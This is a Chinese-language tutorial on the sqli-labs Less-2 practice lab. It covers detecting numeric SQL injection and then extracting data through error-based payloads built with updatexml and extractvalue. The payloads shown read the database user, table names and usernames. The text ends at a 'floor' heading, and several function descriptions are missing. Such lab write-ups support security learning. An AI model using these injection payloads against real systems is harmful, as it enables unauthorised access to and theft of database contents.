源码审计

假设传入的是id值为22,则在数据库中执行的sql语句如下

1
SELECT * FROM users WHERE id=22 LIMIT 0,1

第32行的双引号是用来定义字符串的,在实际执行sql的时候不会被带入

漏洞检测

正常传值

1
/Less-2/index.php?id=1

数字型判断

先传入一个单引号

1
/Less-2/index.php?id=1'

返回了报错,此时有三种可能

情况一是引号没有正常闭合,再传入一个引号若无报错就说明是字符型(数据库的字段类型为char或varchar)

情况二是id参数为int类型,若传入一个或多个引号仍然报错则说明是数字型(即数据库的字段类型为int)

情况三是代码中使用双引号对id参数进行的闭合

再传入一个引号时,仍然报错,说明可能为情况二或情况三

1
/Less-2/index.php?id=1''

再将两个单引号换成两个双引号仍然报错,说明只能为情况二,即数字型的注入

1
/Less-2/index.php?id=1""

恒真语句

因为源码中的id参数为int类型,所以传入数据库时不需要使用引号对其闭合

1
/Less-2/index.php?id=1 and 1=1

构造恒真语句时,数据库执行的语句如下

1
SELECT * FROM users WHERE id=1 and 1=1 LIMIT 0,1

因为1=1的值为true,不会影响where的条件判断,所以执行结果是和id=1时一样

恒假语句

1
/Less-2/index.php?id=1 and 1=2

构造恒假语句时,数据库执行的语句如下

1
SELECT * FROM users WHERE id=1 and 1=2 LIMIT 0,1

因为1=2是为false,所以id=1 and 1=2整个为false

虽然id=1的时候有数据,但此时的where语句判断为false,不会显示结果,也不会出现报错信息

恒真语句和恒假语句都成功影响到了结果,说明此处存在注入

字符拼接函数

concat

参考:

https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_concat

该函数的介绍如下:

concat_ws

参考:

https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_concat-ws

该函数的介绍如下:

group_concat

若需要将多个字段的回显内容合并,可使用group_concat函数

参考:

https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html#function_group-concat

该函数介绍如下:

报错函数

updatexml

参考:

https://dev.mysql.com/doc/refman/8.0/en/xml-functions.html#function_updatexml

http://www.blogjava.net/chenpengyi/archive/2006/07/11/57578.html

适用版本:mysql >5.1

该函数的介绍如下:

函数需要传入三个参数

参数 介绍
xml_target 需要替换的xml文档信息
xpath_expr xpath表达式,类似正则,可以参考此教程XPATH语法
new_xml 用new_xml的值来替换匹配到的内容

extractvalue

参考:

https://dev.mysql.com/doc/refman/8.0/en/xml-functions.html#function_extractvalue

适用版本:mysql >5.1

该函数的介绍如下:

函数需要传入两个参数

参数 介绍
xml_frag 需要匹配的xml文档
xpath_expr xpath表达式,类似正则,可以参考此教程XPATH语法

floor

参考:

https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_floor

该函数的介绍如下:

漏洞利用

查库查表信息可参考sqli-labs靶场Level1,仅介绍大致利用思路

updatexml

可以使用下面的方式,在xpath表达式位置传入sql语句

由于sql语句无法被识别成xpath表达式,所以将会报错并被执行

1
updatexml(值,SQL语句,值)

查询用户名

1
/Less-2/index.php?id=1 and updatexml(1,user(),1)

如果需要使用到较复杂的SQL语句时,需要将需执行的SQL语句用括号括起来

1
updatexml(值,(SQL语句),值)

通过information_schema数据库(需符合mysql版本 >= 5.0)查询数据库名

1
/Less-2/index.php?id=1 and updatexml(1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),1)

extractvalue

可以使用下面的方式,在xpath表达式位置传入sql语句

由于sql语句无法被识别成xpath表达式,所以将会报错并被执行

1
extractvalue(1,SQL语句)

extractvalue和updatexml类似

1
/Less-2/index.php?id=1 and extractvalue(1,(select group_concat(username) from security.users))

floor